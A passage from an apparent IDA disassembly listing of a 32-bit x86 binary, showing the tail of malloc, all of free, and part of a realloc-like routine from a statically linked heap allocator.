		mov	eax, [ebp+var_C]
		shr	eax, 9
		cmp	eax, 154h
		ja	short loc_805BE80
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		add	ecx, 77h
		mov	[ebp+var_4], ecx
		jmp	short loc_805BEAB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BE80:				; CODE XREF: malloc+FBj
		mov	eax, [ebp+var_C]
		shr	eax, 9
		cmp	eax, 554h
		ja	short loc_805BEA4
		mov	edi, [ebp+var_C]
		shr	edi, 12h
		add	edi, 7Ch
		mov	[ebp+var_4], edi
		jmp	short loc_805BEAB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BE9C:				; CODE XREF: malloc+15Cj
		dec	[ebp+var_4]
		jmp	short loc_805BEE2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BEA4:				; CODE XREF: malloc+117j
		mov	[ebp+var_4], 7Eh

loc_805BEAB:				; CODE XREF: malloc+9Dj malloc+BBj ...
		mov	ecx, [ebp+var_4]
		lea	ecx, ds:8078B34h[ecx*8]
		mov	[ebp+var_8], ecx
		mov	ebx, [ecx+8]
		cmp	ebx, ecx
		jz	short loc_805BEE2
		nop

loc_805BEC0:				; CODE XREF: malloc+16Cj
		mov	edi, [ebx]
		and	edi, 0FFFFFFFCh
		mov	[ebp+var_14], edi
		mov	edx, edi
		sub	edx, [ebp+var_C]
		cmp	edx, 0Fh
		jg	short loc_805BE9C
		test	edx, edx
		jge	loc_805C1F0
		mov	ebx, [ebx+8]
		cmp	[ebp+var_8], ebx
		jnz	short loc_805BEC0

loc_805BEE2:				; CODE XREF: malloc+12Bj malloc+149j
		inc	[ebp+var_4]

loc_805BEE5:				; CODE XREF: malloc+84j
		mov	ebx, dword_8078B40
		cmp	ebx, offset dword_8078B3C
		jz	loc_805C087
		mov	ecx, [ebx]
		and	cl, 0FCh
		mov	[ebp+var_14], ecx
		mov	edx, ecx
		sub	edx, [ebp+var_C]
		cmp	edx, 0Fh
		jle	short loc_805BF40
		mov	eax, [ebp+var_C]
		add	eax, ebx
		mov	edi, [ebp+var_C]
		or	edi, 1
		mov	[ebx], edi
		mov	dword_8078B44, eax
		mov	dword_8078B40, eax
		mov	dword ptr [eax+8], offset dword_8078B3C
		mov	dword ptr [eax+4], offset dword_8078B3C
		mov	ecx, edx
		or	cl, 1
		mov	[eax], ecx
		mov	[edx+eax-4], edx
		jmp	loc_805C281
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BF40:				; CODE XREF: malloc+193j
		mov	dword_8078B44, offset dword_8078B3C
		mov	dword_8078B40, offset dword_8078B3C
		test	edx, edx
		jl	short loc_805BF64
		mov	edi, [ebp+var_14]
		or	byte ptr [edi+ebx], 1
		jmp	loc_805C281
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BF64:				; CODE XREF: malloc+1E2j
		cmp	[ebp+var_14], 1FFh
		ja	short loc_805BFAC
		mov	edx, [ebp+var_14]
		shr	edx, 3
		mov	eax, edx
		jns	short loc_805BF7A
		lea	eax, [edx+3]

loc_805BF7A:				; CODE XREF: malloc+201j
		sar	eax, 2
		mov	edi, 1
		mov	ecx, eax
		shl	edi, cl
		mov	eax, edi
		or	dword_8078B34, eax
		lea	esi, ds:8078B34h[edx*8]
		mov	ecx, [esi+4]
		mov	[ebp+var_10], ecx
		mov	[ebx+8], esi
		mov	[ebx+4], ecx
		mov	[esi+4], ebx
		mov	[ecx+8], ebx
		jmp	loc_805C087
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BFAC:				; CODE XREF: malloc+1F7j
		mov	eax, [ebp+var_14]
		shr	eax, 9
		jnz	short loc_805BFBC
		mov	edx, [ebp+var_14]
		shr	edx, 3
		jmp	short loc_805C031
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BFBC:				; CODE XREF: malloc+23Ej
		mov	eax, [ebp+var_14]
		shr	eax, 9
		cmp	eax, 4
		ja	short loc_805BFD4
		mov	edx, [ebp+var_14]
		shr	edx, 6
		add	edx, 38h
		jmp	short loc_805C031
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BFD4:				; CODE XREF: malloc+251j
		mov	eax, [ebp+var_14]
		shr	eax, 9
		cmp	eax, 14h
		ja	short loc_805BFE4
		lea	edx, [eax+5Bh]
		jmp	short loc_805C031
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BFE4:				; CODE XREF: malloc+269j
		mov	eax, [ebp+var_14]
		shr	eax, 9
		cmp	eax, 54h
		ja	short loc_805BFFC
		mov	edx, [ebp+var_14]
		shr	edx, 0Ch
		add	edx, 6Eh
		jmp	short loc_805C031
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BFFC:				; CODE XREF: malloc+279j
		mov	eax, [ebp+var_14]
		shr	eax, 9
		cmp	eax, 154h
		ja	short loc_805C014
		mov	edx, [ebp+var_14]
		shr	edx, 0Fh
		add	edx, 77h
		jmp	short loc_805C031
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C014:				; CODE XREF: malloc+293j
		mov	eax, [ebp+var_14]
		shr	eax, 9
		cmp	eax, 554h
		ja	short loc_805C02C
		mov	edx, [ebp+var_14]
		shr	edx, 12h
		add	edx, 7Ch
		jmp	short loc_805C031
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C02C:				; CODE XREF: malloc+2ABj
		mov	edx, 7Eh

loc_805C031:				; CODE XREF: malloc+246j malloc+25Cj ...
		lea	esi, ds:8078B34h[edx*8]
		mov	edi, [esi+4]
		mov	[ebp+var_10], edi
		cmp	edi, esi
		jnz	short loc_805C05C
		mov	eax, edx
		sar	eax, 2
		mov	edi, 1
		mov	ecx, eax
		shl	edi, cl
		mov	eax, edi
		or	dword_8078B34, eax
		jmp	short loc_805C078
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C05C:				; CODE XREF: malloc+2CCj malloc+2FCj
		mov	ecx, [ebp+var_10]
		mov	eax, [ecx]
		and	al, 0FCh
		cmp	[ebp+var_14], eax
		jnb	short loc_805C072
		mov	edi, [ecx+4]
		mov	[ebp+var_10], edi
		cmp	edi, esi
		jnz	short loc_805C05C

loc_805C072:				; CODE XREF: malloc+2F2j
		mov	ecx, [ebp+var_10]
		mov	esi, [ecx+8]

loc_805C078:				; CODE XREF: malloc+2E4j
		mov	[ebx+8], esi
		mov	edi, [ebp+var_10]
		mov	[ebx+4], edi
		mov	[esi+4], ebx
		mov	[edi+8], ebx

loc_805C087:				; CODE XREF: malloc+17Dj malloc+233j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jge	short loc_805C091
		add	eax, 3

loc_805C091:				; CODE XREF: malloc+318j
		sar	eax, 2
		mov	edi, 1
		mov	ecx, eax
		shl	edi, cl
		mov	[ebp+var_10], edi
		cmp	dword_8078B34, edi
		jb	loc_805C198
		test	dword_8078B34, edi
		jnz	short loc_805C0E0
		and	[ebp+var_4], 0FFFFFFFCh
		add	[ebp+var_4], 4
		add	edi, edi
		mov	[ebp+var_10], edi
		test	dword_8078B34, edi
		jnz	short loc_805C0E0
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_805C0CC:				; CODE XREF: malloc+369j
		add	[ebp+var_4], 4
		shl	[ebp+var_10], 1
		mov	ecx, [ebp+var_10]
		test	dword_8078B34, ecx
		jz	short loc_805C0CC
		nop

loc_805C0E0:				; CODE XREF: malloc+33Ej malloc+353j ...
		mov	esi, [ebp+var_4]
		lea	eax, ds:0[esi*8]
		lea	esi, [esi]

loc_805C0EC:				; CODE XREF: malloc+3C1j
		lea	edi, dword_8078B34[eax]
		mov	[ebp+var_8], edi
		mov	ebx, dword_8078B3C[eax]
		cmp	ebx, edi
		jz	short loc_805C126
		nop

loc_805C100:				; CODE XREF: malloc+3B0j
		mov	ecx, [ebx]
		and	cl, 0FCh
		mov	[ebp+var_14], ecx
		mov	edx, ecx
		sub	edx, [ebp+var_C]
		cmp	edx, 0Fh
		jg	loc_805C208
		test	edx, edx
		jge	loc_805C24C
		mov	ebx, [ebx+8]
		cmp	[ebp+var_8], ebx
		jnz	short loc_805C100

loc_805C126:				; CODE XREF: malloc+389j
		add	eax, 8
		inc	[ebp+var_4]
		mov	edi, [ebp+var_4]
		test	edi, 3
		jnz	short loc_805C0EC
		jmp	short loc_805C14D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C13C:				; CODE XREF: malloc+3DFj
		dec	esi
		lea	eax, ds:8078B34h[esi*8]
		cmp	dword_8078B38[esi*8], eax
		jnz	short loc_805C160

loc_805C14D:				; CODE XREF: malloc+3C3j
		test	esi, 3
		jnz	short loc_805C13C
		mov	eax, [ebp+var_10]
		not	eax
		and	dword_8078B34, eax

loc_805C160:				; CODE XREF: malloc+3D7j
		shl	[ebp+var_10], 1
		mov	ecx, [ebp+var_10]
		cmp	dword_8078B34, ecx
		jb	short loc_805C198
		test	ecx, ecx
		jz	short loc_805C198
		test	dword_8078B34, ecx
		jnz	loc_805C0E0
		nop

loc_805C180:				; CODE XREF: malloc+41Dj
		add	[ebp+var_4], 4
		shl	[ebp+var_10], 1
		mov	edi, [ebp+var_10]
		test	dword_8078B34, edi
		jz	short loc_805C180
		jmp	loc_805C0E0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C198:				; CODE XREF: malloc+332j malloc+3F9j ...
		mov	eax, dword_8078B38
		mov	edx, [eax]
		and	dl, 0FCh
		sub	edx, [ebp+var_C]
		cmp	edx, 0Fh
		jg	loc_805C264
		mov	ecx, [ebp+var_C]
		cmp	dword_8078F48, ecx
		ja	short loc_805C1CC
		push	ecx
		call	sub_805BA88
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	loc_805C281

loc_805C1CC:				; CODE XREF: malloc+443j
		mov	edi, [ebp+var_C]
		push	edi
		call	sub_805BBF4
		mov	eax, dword_8078B38
		mov	edx, [eax]
		and	dl, 0FCh
		sub	edx, edi
		cmp	edx, 0Fh
		jg	short loc_805C264
		xor	eax, eax
		jmp	loc_805C284
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C1F0:				; CODE XREF: malloc+160j
		mov	esi, [ebx+8]
		mov	ecx, [ebx+4]
		mov	[ebp+var_10], ecx
		mov	[ecx+8], esi
		mov	[esi+4], ecx
		mov	edi, [ebp+var_14]
		or	byte ptr [edi+ebx], 1
		jmp	short loc_805C281
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C208:				; CODE XREF: malloc+39Cj
		mov	eax, [ebp+var_C]
		add	eax, ebx
		mov	ecx, [ebp+var_C]
		or	cl, 1
		mov	[ebx], ecx
		mov	esi, [ebx+8]
		mov	edi, [ebx+4]
		mov	[ebp+var_10], edi
		mov	[edi+8], esi
		mov	[esi+4], edi
		mov	dword_8078B44, eax
		mov	dword_8078B40, eax
		mov	dword ptr [eax+8], offset dword_8078B3C
		mov	dword ptr [eax+4], offset dword_8078B3C
		mov	ecx, edx
		or	cl, 1
		mov	[eax], ecx
		mov	[edx+eax-4], edx
		jmp	short loc_805C281
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C24C:				; CODE XREF: malloc+3A4j
		mov	edi, [ebp+var_14]
		or	byte ptr [edi+ebx], 1
		mov	esi, [ebx+8]
		mov	ecx, [ebx+4]
		mov	[ebp+var_10], ecx
		mov	[ecx+8], esi
		mov	[esi+4], ecx
		jmp	short loc_805C281
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C264:				; CODE XREF: malloc+434j malloc+470j
		mov	ebx, dword_8078B38
		mov	edi, [ebp+var_C]
		or	edi, 1
		mov	[ebx], edi
		mov	eax, [ebp+var_C]
		add	eax, ebx
		mov	dword_8078B38, eax
		or	dl, 1
		mov	[eax], edx

loc_805C281:				; CODE XREF: malloc+78j malloc+1C5j ...
		lea	eax, [ebx+4]

loc_805C284:				; CODE XREF: malloc+474j
		lea	esp, [ebp+var_20]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
malloc		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

free		proc near		; CODE XREF: send_packet+17Bp
					; send_packet+18Ep ...

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	loc_805C4ED
		lea	edi, [eax-4]
		mov	eax, [eax-4]
		test	al, 2
		jz	short loc_805C2BC
		push	edi
		call	sub_805BB34
		jmp	loc_805C4ED
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C2BC:				; CODE XREF: free+1Cj
		mov	esi, eax
		and	esi, 0FFFFFFFEh
		lea	ecx, [esi+edi]
		mov	[ebp+var_C], ecx
		mov	ebx, [ecx]
		and	bl, 0FCh
		mov	[ebp+var_4], ebx
		cmp	dword_8078B38, ecx
		jnz	short loc_805C31C
		add	esi, ebx
		test	al, 1
		jnz	short loc_805C2F3
		mov	eax, [edi-4]
		sub	edi, eax
		add	esi, eax
		mov	ecx, [edi+8]
		mov	[ebp+var_10], ecx
		mov	edx, [edi+4]
		mov	[edx+8], ecx
		mov	[ecx+4], edx

loc_805C2F3:				; CODE XREF: free+4Bj
		mov	ebx, esi
		or	bl, 1
		mov	[edi], ebx
		mov	dword_8078B38, edi
		cmp	dword_8078F3C, esi
		ja	loc_805C4ED
		mov	eax, dword_8078F40
		push	eax
		call	sub_805C944
		jmp	loc_805C4ED
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C31C:				; CODE XREF: free+45j
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+var_C]
		mov	[ebx], ecx
		mov	[ebp+var_8], 0
		test	al, 1
		jnz	short loc_805C357
		mov	eax, [edi-4]
		sub	edi, eax
		add	esi, eax
		cmp	dword ptr [edi+4], offset dword_8078B3C
		jnz	short loc_805C348
		mov	[ebp+var_8], 1
		jmp	short loc_805C357
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C348:				; CODE XREF: free+ADj
		mov	ecx, [edi+8]
		mov	[ebp+var_10], ecx
		mov	edx, [edi+4]
		mov	[edx+8], ecx
		mov	[ecx+4], edx

loc_805C357:				; CODE XREF: free+9Dj free+B6j
		mov	ebx, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		test	byte ptr [ecx+ebx], 1
		jnz	short loc_805C3AD
		add	esi, ecx
		cmp	[ebp+var_8], 0
		jnz	short loc_805C398
		cmp	dword ptr [ebx+4], offset dword_8078B3C
		jnz	short loc_805C398
		mov	[ebp+var_8], 1
		mov	dword_8078B44, edi
		mov	dword_8078B40, edi
		mov	dword ptr [edi+8], offset dword_8078B3C
		mov	dword ptr [edi+4], offset dword_8078B3C
		jmp	short loc_805C3AD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C398:				; CODE XREF: free+D9j free+E2j
		mov	ebx, [ebp+var_C]
		mov	ebx, [ebx+8]
		mov	[ebp+var_10], ebx
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+4]
		mov	[edx+8], ebx
		mov	[ebx+4], edx

loc_805C3AD:				; CODE XREF: free+D1j free+105j
		mov	ebx, esi
		or	bl, 1
		mov	[edi], ebx
		mov	[esi+edi-4], esi
		cmp	[ebp+var_8], 0
		jnz	loc_805C4ED
		cmp	esi, 1FFh
		ja	short loc_805C404
		shr	esi, 3
		mov	[ebp+var_C], esi
		mov	eax, [ebp+var_C]
		test	eax, eax
		jge	short loc_805C3DA
		add	eax, 3

loc_805C3DA:				; CODE XREF: free+145j
		sar	eax, 2
		mov	ebx, 1
		mov	ecx, eax
		shl	ebx, cl
		mov	eax, ebx
		or	dword_8078B34, eax
		mov	ecx, [ebp+var_C]
		lea	ecx, ds:8078B34h[ecx*8]
		mov	[ebp+var_10], ecx
		mov	edx, [ecx+4]
		jmp	loc_805C4E1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C404:				; CODE XREF: free+138j
		mov	eax, esi
		shr	eax, 9
		jnz	short loc_805C418
		mov	ebx, esi
		shr	ebx, 3
		mov	[ebp+var_C], ebx
		jmp	loc_805C49B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C418:				; CODE XREF: free+179j
		mov	eax, esi
		shr	eax, 9
		cmp	eax, 4
		ja	short loc_805C430
		mov	ecx, esi
		shr	ecx, 6
		add	ecx, 38h
		mov	[ebp+var_C], ecx
		jmp	short loc_805C49B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C430:				; CODE XREF: free+190j
		mov	eax, esi
		shr	eax, 9
		cmp	eax, 14h
		ja	short loc_805C444
		add	eax, 5Bh
		mov	[ebp+var_C], eax
		jmp	short loc_805C49B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C444:				; CODE XREF: free+1A8j
		mov	eax, esi
		shr	eax, 9
		cmp	eax, 54h
		ja	short loc_805C45C
		mov	ebx, esi
		shr	ebx, 0Ch
		add	ebx, 6Eh
		mov	[ebp+var_C], ebx
		jmp	short loc_805C49B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C45C:				; CODE XREF: free+1BCj
		mov	eax, esi
		shr	eax, 9
		cmp	eax, 154h
		ja	short loc_805C478
		mov	ecx, esi
		shr	ecx, 0Fh
		add	ecx, 77h
		mov	[ebp+var_C], ecx
		jmp	short loc_805C49B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C478:				; CODE XREF: free+1D6j
		mov	eax, esi
		shr	eax, 9
		cmp	eax, 554h
		ja	short loc_805C494
		mov	ebx, esi
		shr	ebx, 12h
		add	ebx, 7Ch
		mov	[ebp+var_C], ebx
		jmp	short loc_805C49B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C494:				; CODE XREF: free+1F2j
		mov	[ebp+var_C], 7Eh

loc_805C49B:				; CODE XREF: free+183j	free+19Dj ...
		mov	ecx, [ebp+var_C]
		lea	ecx, ds:8078B34h[ecx*8]
		mov	[ebp+var_10], ecx
		mov	edx, [ecx+4]
		cmp	edx, ecx
		jnz	short loc_805C4C8
		mov	eax, [ebp+var_C]
		mov	ecx, eax
		sar	ecx, 2
		mov	eax, 1
		shl	eax, cl
		or	dword_8078B34, eax
		jmp	short loc_805C4DE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C4C8:				; CODE XREF: free+21Dj	free+246j
		mov	eax, [edx]
		and	al, 0FCh
		cmp	esi, eax
		jnb	short loc_805C4D8
		mov	edx, [edx+4]
		cmp	[ebp+var_10], edx
		jnz	short loc_805C4C8

loc_805C4D8:				; CODE XREF: free+23Ej
		mov	ebx, [edx+8]
		mov	[ebp+var_10], ebx

loc_805C4DE:				; CODE XREF: free+234j
		mov	ecx, [ebp+var_10]

loc_805C4E1:				; CODE XREF: free+16Ej
		mov	[edi+8], ecx
		mov	[edi+4], edx
		mov	[ecx+4], edi
		mov	[edx+8], edi

loc_805C4ED:				; CODE XREF: free+Ej free+24j	...
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
free		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805C4F8	proc near

var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		cmp	[ebp+arg_0], 0
		jnz	short loc_805C518
		mov	edx, [ebp+arg_4]
		push	edx
		call	malloc
		jmp	loc_805C7D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C518:				; CODE XREF: sub_805C4F8+Dj
		mov	esi, [ebp+arg_0]
		add	esi, 0FFFFFFFCh
		mov	[ebp+var_8], esi
		mov	edi, [ebp+arg_0]
		mov	edi, [edi-4]
		and	edi, 0FFFFFFFCh
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], edi
		cmp	[ebp+arg_4], 0Bh
		jle	short loc_805C544
		mov	edx, [ebp+arg_4]
		add	edx, 0Bh
		and	dl, 0F8h
		mov	[ebp+var_4], edx
		jmp	short loc_805C54B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C544:				; CODE XREF: sub_805C4F8+3Cj
		mov	[ebp+var_4], 10h

loc_805C54B:				; CODE XREF: sub_805C4F8+4Aj
		mov	edi, [ebp+var_8]
		test	byte ptr [edi],	2
		jz	short loc_805C5B8
		mov	edx, [ebp+var_4]
		push	edx
		push	edi
		call	sub_805BB64
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	loc_805C7CD
		mov	edi, [ebp+var_4]
		cmp	[ebp+var_C], edi
		jb	short loc_805C57C
		mov	eax, [ebp+arg_0]
		jmp	loc_805C7D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C57C:				; CODE XREF: sub_805C4F8+78j
		mov	edx, [ebp+arg_4]
		push	edx
		call	malloc
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_805C746
		mov	eax, [ebp+var_C]
		add	eax, 0FFFFFFFCh
		push	eax
		mov	edi, [ebp+arg_0]
		push	edi
		push	ebx
		call	memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_805BB34
		mov	eax, ebx
		jmp	loc_805C7D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C5B8:				; CODE XREF: sub_805C4F8+59j
		mov	edi, [ebp+var_4]
		cmp	[ebp+var_C], edi
		jge	loc_805C78A
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_C]
		cmp	dword_8078B38, ecx
		jz	short loc_805C5DC
		mov	eax, [ecx]
		and	al, 0FEh
		test	byte ptr [eax+ecx], 1
		jnz	short loc_805C64C

loc_805C5DC:				; CODE XREF: sub_805C4F8+D8j
		mov	ebx, [ecx]
		and	bl, 0FCh
		cmp	dword_8078B38, ecx
		jnz	short loc_805C628
		mov	esi, [ebp+var_10]
		add	esi, ebx
		mov	eax, [ebp+var_4]
		add	eax, 10h
		cmp	esi, eax
		jl	short loc_805C650
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	dword_8078B38, eax
		sub	esi, [ebp+var_4]
		mov	edx, esi
		or	dl, 1
		mov	[eax], edx
		mov	edi, [ebp+var_8]
		mov	eax, [edi]
		and	eax, 1
		or	eax, [ebp+var_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		jmp	loc_805C7D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C628:				; CODE XREF: sub_805C4F8+EFj
		mov	edx, [ebp+var_10]
		add	edx, ebx
		mov	[ebp+var_14], edx
		mov	edi, [ebp+var_4]
		cmp	edx, edi
		jl	short loc_805C650
		mov	eax, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[ecx+8], eax
		mov	[eax+4], ecx
		mov	[ebp+var_10], edx
		jmp	loc_805C78A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C64C:				; CODE XREF: sub_805C4F8+E2j
		xor	ecx, ecx
		xor	ebx, ebx

loc_805C650:				; CODE XREF: sub_805C4F8+FEj
					; sub_805C4F8+13Dj
		mov	edx, [ebp+var_8]
		test	byte ptr [edx],	1
		jnz	loc_805C734
		sub	edx, [edx-4]
		mov	[ebp+var_14], edx
		mov	esi, [edx]
		and	esi, 0FFFFFFFCh
		test	ecx, ecx
		jz	loc_805C6F4
		cmp	dword_8078B38, ecx
		jnz	short loc_805C6D8
		lea	eax, [esi+ebx]
		mov	ebx, [ebp+var_10]
		add	ebx, eax
		mov	eax, [ebp+var_4]
		add	eax, 10h
		cmp	ebx, eax
		jl	short loc_805C6F4
		mov	eax, [edx+8]
		mov	ecx, [edx+4]
		mov	[ecx+8], eax
		mov	[eax+4], ecx
		mov	esi, [ebp+var_14]
		mov	[ebp+var_10], ebx
		lea	ebx, [esi+4]
		mov	eax, [ebp+var_C]
		add	eax, 0FFFFFFFCh
		push	eax
		mov	edi, [ebp+arg_0]
		push	edi
		push	ebx
		call	memcpy
		mov	edx, [ebp+var_4]
		add	edx, esi
		mov	dword_8078B38, edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_4]
		or	al, 1
		mov	[edx], eax
		mov	eax, [esi]
		and	eax, 1
		or	eax, [ebp+var_4]
		mov	[esi], eax
		mov	eax, ebx
		jmp	loc_805C7D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C6D8:				; CODE XREF: sub_805C4F8+17Dj
		lea	eax, [esi+ebx]
		mov	ebx, [ebp+var_10]
		add	ebx, eax
		cmp	[ebp+var_4], ebx
		jg	short loc_805C6F4
		mov	eax, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[ecx+8], eax
		mov	[eax+4], ecx
		jmp	short loc_805C704
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C6F4:				; CODE XREF: sub_805C4F8+171j
					; sub_805C4F8+18Fj ...
		cmp	[ebp+var_14], 0
		jz	short loc_805C734
		mov	ebx, [ebp+var_10]
		add	ebx, esi
		cmp	[ebp+var_4], ebx
		jg	short loc_805C734

loc_805C704:				; CODE XREF: sub_805C4F8+1F9j
		mov	edi, [ebp+var_14]
		mov	eax, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], eax
		mov	[eax+4], ecx
		mov	esi, [ebp+var_14]
		mov	[ebp+var_10], ebx
		lea	ebx, [esi+4]
		mov	eax, [ebp+var_C]
		add	eax, 0FFFFFFFCh
		push	eax
		mov	edx, [ebp+arg_0]
		push	edx
		push	ebx
		call	memcpy
		add	esp, 0Ch
		jmp	short loc_805C78A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C734:				; CODE XREF: sub_805C4F8+15Ej
					; sub_805C4F8+200j ...
		mov	edi, [ebp+arg_4]
		push	edi
		call	malloc
